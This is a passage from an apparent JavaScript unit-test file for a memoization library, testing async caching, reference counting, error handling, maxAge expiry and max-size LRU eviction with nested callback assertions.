Result\");\n\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Again B: Result\");\n\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\ta(i, 2, \"Again Called #2\");\n\n\t\t\t\t\t\t\tmfn.delete(3, 7);\n\n\t\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Again: Result\");\n\t\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Again B: Result\");\n\t\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t\ta(i, 3, \"Call After clear\");\n\t\t\t\t\t\t\t\td();\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t});\n\t\t\t\t\t});\n\t\t\t\t},\n\t\t\t\t\"Reference counter\": function (a, d) {\n\t\t\t\t\tvar mfn, fn, u = {}, i = 0;\n\t\t\t\t\tfn = function (x, y, cb) {\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\tcb(null, x + y);\n\t\t\t\t\t\t});\n\t\t\t\t\t\treturn u;\n\t\t\t\t\t};\n\n\t\t\t\t\tmfn = t(fn, { async: true, primitive: true, refCounter: true });\n\n\t\t\t\t\ta(mfn.deleteRef(3, 7), null, \"Clear ref before\");\n\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #1\");\n\t\t\t\t\t}), u, \"Initial\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #2\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #1\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #3\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #2\");\n\t\t\t\t\t}), u, \"Initial #3\");\n\n\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\ta(i, 2, \"Called #2\");\n\n\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Again: Result\");\n\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Again B: Result\");\n\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\ta(i, 2, \"Again Called #2\");\n\n\t\t\t\t\t\t\ta(mfn.deleteRef(3, 7), false, \"Clear ref #1\");\n\t\t\t\t\t\t\ta(mfn.deleteRef(3, 7), false, \"Clear ref #2\");\n\t\t\t\t\t\t\ta(mfn.deleteRef(3, 7), false, \"Clear ref #3\");\n\t\t\t\t\t\t\ta(mfn.deleteRef(3, 7), true, \"Clear ref Final\");\n\n\t\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Again: Result\");\n\t\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Again B: Result\");\n\t\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t\ta(i, 3, \"Call After clear\");\n\t\t\t\t\t\t\t\td();\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t});\n\t\t\t\t\t});\n\t\t\t\t},\n\t\t\t\tError: function (a, d) {\n\t\t\t\t\tvar mfn, fn, u = {}, i = 0, e = new Error(\"Test\");\n\t\t\t\t\tfn = function (x, y, cb) {\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\tcb(e);\n\t\t\t\t\t\t});\n\t\t\t\t\t\treturn u;\n\t\t\t\t\t};\n\n\t\t\t\t\tmfn = t(fn, { async: true, primitive: true });\n\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Result #1\");\n\t\t\t\t\t}), u, \"Initial\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Result #2\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Result B #1\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Result #3\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Result B #2\");\n\t\t\t\t\t}), u, \"Initial #3\");\n\n\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\ta(i, 2, \"Called #2\");\n\n\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Again: Result\");\n\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [e, undefined], \"Again B: Result\");\n\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\ta(i, 4, \"Again Called #2\");\n\t\t\t\t\t\t\td();\n\t\t\t\t\t\t});\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tMaxAge: {\n\t\t\tRegular: {\n\t\t\t\tSync: function (a, d) {\n\t\t\t\t\tvar mfn, fn, i = 0;\n\t\t\t\t\tfn = function (x, y) {\n\t\t\t\t\t\t++i;\n\t\t\t\t\t\treturn x + y;\n\t\t\t\t\t};\n\t\t\t\t\tmfn = t(fn, { maxAge: 100 });\n\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #1\");\n\t\t\t\t\ta(i, 1, \"Called #1\");\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #2\");\n\t\t\t\t\ta(i, 1, \"Called #2\");\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #1\");\n\t\t\t\t\ta(i, 2, \"Called B #1\");\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #3\");\n\t\t\t\t\ta(i, 2, \"Called #3\");\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #2\");\n\t\t\t\t\ta(i, 2, \"Called B #2\");\n\n\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\ta(mfn(3, 7), 10, \"Result: Wait\");\n\t\t\t\t\t\ta(i, 2, \"Called: Wait\");\n\t\t\t\t\t\ta(mfn(5, 8), 13, \"Result: Wait B\");\n\t\t\t\t\t\ta(i, 2, \"Called: Wait B\");\n\n\t\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\t\ta(mfn(3, 7), 10, \"Result: Wait After\");\n\t\t\t\t\t\t\ta(i, 3, \"Called: Wait After\");\n\t\t\t\t\t\t\ta(mfn(5, 8), 13, \"Result: Wait After B\");\n\t\t\t\t\t\t\ta(i, 4, \"Called: Wait After B\");\n\n\t\t\t\t\t\t\ta(mfn(3, 7), 10, \"Result: Wait After #2\");\n\t\t\t\t\t\t\ta(i, 4, \"Called: Wait After #2\");\n\t\t\t\t\t\t\ta(mfn(5, 8), 13, \"Result: Wait After B #2\");\n\t\t\t\t\t\t\ta(i, 4, \"Called: Wait After B #2\");\n\t\t\t\t\t\t\td();\n\t\t\t\t\t\t}, 100);\n\t\t\t\t\t}, 20);\n\t\t\t\t},\n\t\t\t\tAsync: function (a, d) {\n\t\t\t\t\tvar mfn, fn, u = {}, i = 0;\n\t\t\t\t\tfn = function (x, y, cb) {\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\tcb(null, x + y);\n\t\t\t\t\t\t});\n\t\t\t\t\t\treturn u;\n\t\t\t\t\t};\n\n\t\t\t\t\tmfn = t(fn, { async: true, maxAge: 100 });\n\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #1\");\n\t\t\t\t\t}), u, \"Initial\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #2\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #1\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #3\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #2\");\n\t\t\t\t\t}), u, \"Initial #3\");\n\n\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\ta(i, 2, \"Called #2\");\n\n\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Again: Result\");\n\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Again B: Result\");\n\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\t\ta(i, 2, \"Again Called #2\");\n\n\t\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Again: Result\");\n\t\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Again B: Result\");\n\t\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t\ta(i, 4, \"Call After clear\");\n\t\t\t\t\t\t\t\td();\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}, 100);\n\t\t\t\t\t}, 20);\n\t\t\t\t}\n\t\t\t},\n\t\t\tPrimitive: {\n\t\t\t\tSync: function (a, d) {\n\t\t\t\t\tvar mfn, fn, i = 0;\n\t\t\t\t\tfn = function (x, y) {\n\t\t\t\t\t\t++i;\n\t\t\t\t\t\treturn x + y;\n\t\t\t\t\t};\n\t\t\t\t\tmfn = t(fn, { primitive: true, maxAge: 100 });\n\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #1\");\n\t\t\t\t\ta(i, 1, \"Called #1\");\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #2\");\n\t\t\t\t\ta(i, 1, \"Called #2\");\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #1\");\n\t\t\t\t\ta(i, 2, \"Called B #1\");\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #3\");\n\t\t\t\t\ta(i, 2, \"Called #3\");\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #2\");\n\t\t\t\t\ta(i, 2, \"Called B #2\");\n\n\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\ta(mfn(3, 7), 10, \"Result: Wait\");\n\t\t\t\t\t\ta(i, 2, \"Called: Wait\");\n\t\t\t\t\t\ta(mfn(5, 8), 13, \"Result: Wait B\");\n\t\t\t\t\t\ta(i, 2, \"Called: Wait B\");\n\n\t\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\t\ta(mfn(3, 7), 10, \"Result: Wait After\");\n\t\t\t\t\t\t\ta(i, 3, \"Called: Wait After\");\n\t\t\t\t\t\t\ta(mfn(5, 8), 13, \"Result: Wait After B\");\n\t\t\t\t\t\t\ta(i, 4, \"Called: Wait After B\");\n\n\t\t\t\t\t\t\ta(mfn(3, 7), 10, \"Result: Wait After #2\");\n\t\t\t\t\t\t\ta(i, 4, \"Called: Wait After #2\");\n\t\t\t\t\t\t\ta(mfn(5, 8), 13, \"Result: Wait After B #2\");\n\t\t\t\t\t\t\ta(i, 4, \"Called: Wait After B #2\");\n\t\t\t\t\t\t\td();\n\t\t\t\t\t\t}, 100);\n\t\t\t\t\t}, 20);\n\t\t\t\t},\n\t\t\t\tAsync: function (a, d) {\n\t\t\t\t\tvar mfn, fn, u = {}, i = 0;\n\t\t\t\t\tfn = function (x, y, cb) {\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\tcb(null, x + y);\n\t\t\t\t\t\t});\n\t\t\t\t\t\treturn u;\n\t\t\t\t\t};\n\n\t\t\t\t\tmfn = t(fn, { async: true, primitive: true, maxAge: 100 });\n\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #1\");\n\t\t\t\t\t}), u, \"Initial\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #2\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #1\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #3\");\n\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #2\");\n\t\t\t\t\t}), u, \"Initial #3\");\n\n\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\ta(i, 2, \"Called #2\");\n\n\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Again: Result\");\n\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Again B: Result\");\n\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\tsetTimeout(function () {\n\t\t\t\t\t\t\ta(i, 2, \"Again Called #2\");\n\n\t\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Again: Result\");\n\t\t\t\t\t\t\t}), u, \"Again: Initial\");\n\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Again B: Result\");\n\t\t\t\t\t\t\t}), u, \"Again B: Initial\");\n\n\t\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t\ta(i, 4, \"Call After clear\");\n\t\t\t\t\t\t\t\td();\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t}, 100);\n\t\t\t\t\t}, 20);\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\tMax: {\n\t\t\tRegular: {\n\t\t\t\tSync: function (a) {\n\t\t\t\t\tvar mfn, fn, i = 0;\n\t\t\t\t\tfn = function (x, y) {\n\t\t\t\t\t\t++i;\n\t\t\t\t\t\treturn x + y;\n\t\t\t\t\t};\n\t\t\t\t\tmfn = t(fn, { max: 3 });\n\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #1\");\n\t\t\t\t\ta(i, 1, \"Called #1\");\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #2\");\n\t\t\t\t\ta(i, 1, \"Called #2\");\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #1\");\n\t\t\t\t\ta(i, 2, \"Called B #1\");\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #3\");\n\t\t\t\t\ta(i, 2, \"Called #3\");\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #2\");\n\t\t\t\t\ta(i, 2, \"Called B #2\");\n\t\t\t\t\ta(mfn(12, 4), 16, \"Result C #1\");\n\t\t\t\t\ta(i, 3, \"Called C #1\");\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #4\");\n\t\t\t\t\ta(i, 3, \"Called #4\");\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #3\");\n\t\t\t\t\ta(i, 3, \"Called B #3\");\n\n\t\t\t\t\ta(mfn(77, 11), 88, \"Result D #1\"); // Clear 12, 4\n\t\t\t\t\ta(i, 4, \"Called D #1\");\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #4\");\n\t\t\t\t\ta(i, 4, \"Called B #4\");\n\t\t\t\t\ta(mfn(12, 4), 16, \"Result C #2\"); // Clear 3, 7\n\t\t\t\t\ta(i, 5, \"Called C #2\");\n\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #5\"); // Clear 77, 11\n\t\t\t\t\ta(i, 6, \"Called #5\");\n\t\t\t\t\ta(mfn(77, 11), 88, \"Result D #2\"); // Clear 5, 8\n\t\t\t\t\ta(i, 7, \"Called D #2\");\n\t\t\t\t\ta(mfn(12, 4), 16, \"Result C #3\");\n\t\t\t\t\ta(i, 7, \"Called C #3\");\n\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #5\"); // Clear 3, 7\n\t\t\t\t\ta(i, 8, \"Called B #5\");\n\n\t\t\t\t\ta(mfn(77, 11), 88, \"Result D #3\");\n\t\t\t\t\ta(i, 8, \"Called D #3\");\n\n\t\t\t\t\tmfn.delete(77, 11);\n\t\t\t\t\ta(mfn(77, 11), 88, \"Result D #4\");\n\t\t\t\t\ta(i, 9, \"Called D #4\");\n\n\t\t\t\t\tmfn.clear();\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #6\");\n\t\t\t\t\ta(i, 10, \"Called B #6\");\n\t\t\t\t\ta(mfn(77, 11), 88, \"Result D #5\");\n\t\t\t\t\ta(i, 11, \"Called D #5\");\n\t\t\t\t},\n\t\t\t\tAsync: function (a, d) {\n\t\t\t\t\tvar mfn, fn, u = {}, i = 0;\n\t\t\t\t\tfn = function (x, y, cb) {\n\t\t\t\t\t\tnextTick(function () {\n\t\t\t\t\t\t\t++i;\n\t\t\t\t\t\t\tcb(null, x + y);\n\t\t\t\t\t\t});\n\t\t\t\t\t\treturn u;\n\t\t\t\t\t};\n\n\t\t\t\t\tmfn = t(fn, { async: true, max: 3 });\n\n\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #1\");\n\t\t\t\t\t\ta(i, 1, \"Called #1\");\n\n\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #2\");\n\t\t\t\t\t\t\ta(i, 1, \"Called #2\");\n\n\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #1\");\n\t\t\t\t\t\t\t\ta(i, 2, \"Called B #1\");\n\n\t\t\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #3\");\n\t\t\t\t\t\t\t\t\ta(i, 2, \"Called #3\");\n\n\t\t\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #2\");\n\t\t\t\t\t\t\t\t\t\ta(i, 2, \"Called B #2\");\n\n\t\t\t\t\t\t\t\t\t\ta(mfn(12, 4, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 16], \"Result C #1\");\n\t\t\t\t\t\t\t\t\t\t\ta(i, 3, \"Called C #1\");\n\n\t\t\t\t\t\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #4\");\n\t\t\t\t\t\t\t\t\t\t\t\ta(i, 3, \"Called #4\");\n\n\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #3\");\n\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 3, \"Called B #3\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(77, 11, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 88], \"Result D #1\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 4, \"Called D #1\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13], \"Result B #4\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 4, \"Called B #4\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(12, 4, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 16], \"Result C #2\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 5, \"Called C #2\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(3, 7, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 10], \"Result #5\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 6, \"Called #5\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(77, 11, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 88],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result D #2\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 7, \"Called D #2\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(12, 4, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 16],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result C #3\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 7, \"Called C #3\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result B #5\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 8, \"Called B #5\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(77, 11, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 88],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result D #3\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 8, \"Called D #3\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tmfn.delete(77, 11);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(77, 11, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 88],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result D #4\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 9, \"Called D #4\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tmfn.clear();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(5, 8, function (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 13],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result B #6\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 10, \"Called B #6\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(mfn(77, 11,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tfunction (err, res) {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta.deep([err, res], [null, 88],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"Result D #5\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ta(i, 11, \"Called D #5\");\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\td();\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial D #5\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial B #6\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial D #4\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial D #3\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial B #5\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial C #3\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial D #2\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial #5\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial C #2\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial B #4\");\n\t\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial D #1\");\n\t\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial B #3\");\n\t\t\t\t\t\t\t\t\t\t\t}), u, \"Initial #4\");\n\t\t\t\t\t\t\t\t\t\t}), u, \"Initial C #1\");\n\t\t\t\t\t\t\t\t\t}), u, \"Initial B #2\");\n\t\t\t\t\t\t\t\t}), u, \"Initial #3\");\n\t\t\t\t\t\t\t}), u, \"Initial B #1\");\n\t\t\t\t\t\t}), u, \"Initial #2\");\n\t\t\t\t\t}), u, \"Initial #1\");\n\t\t\t\t}\n\t\t\t},\n\t\t\tPrimitive: {\n\t\t\t\tSync: function (a) {\n\t\t\t\t\tvar mfn, fn, i = 0;\n\t\t\t\t\tfn = function (x, y) {\n\t\t\t\t\t\t++i;\n\t\t\t\t\t\treturn x + y;\n\t\t\t\t\t};\n\t\t\t\t\tmfn = t(fn, { primitive: true, max: 3 });\n\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #1\");\n\t\t\t\t\ta(i, 1, \"Called #1\");\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #2\");\n\t\t\t\t\ta(i, 1, \"Called #2\");\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #1\");\n\t\t\t\t\ta(i, 2, \"Called B #1\");\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #3\");\n\t\t\t\t\ta(i, 2, \"Called #3\");\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #2\");\n\t\t\t\t\ta(i, 2, \"Called B #2\");\n\t\t\t\t\ta(mfn(12, 4), 16, \"Result C #1\");\n\t\t\t\t\ta(i, 3, \"Called C #1\");\n\t\t\t\t\ta(mfn(3, 7), 10, \"Result #4\");\n\t\t\t\t\ta(i, 3, \"Called #4\");\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #3\");\n\t\t\t\t\ta(i, 3, \"Called B #3\");\n\n\t\t\t\t\ta(mfn(77, 11), 88, \"Result D #1\"); // Clear 12, 4\n\t\t\t\t\ta(i, 4, \"Called D #1\");\n\t\t\t\t\ta(mfn(5, 8), 13, \"Result B #4\");\n\t\t\t\t\ta(i, 4, \"Called B #4\");\n\t\t\t\t\ta(mfn(12, 4), 16, \"Result C #2\"); // Clear 3, 7\n\t\t\t\t\ta(i, 5, \"Called C 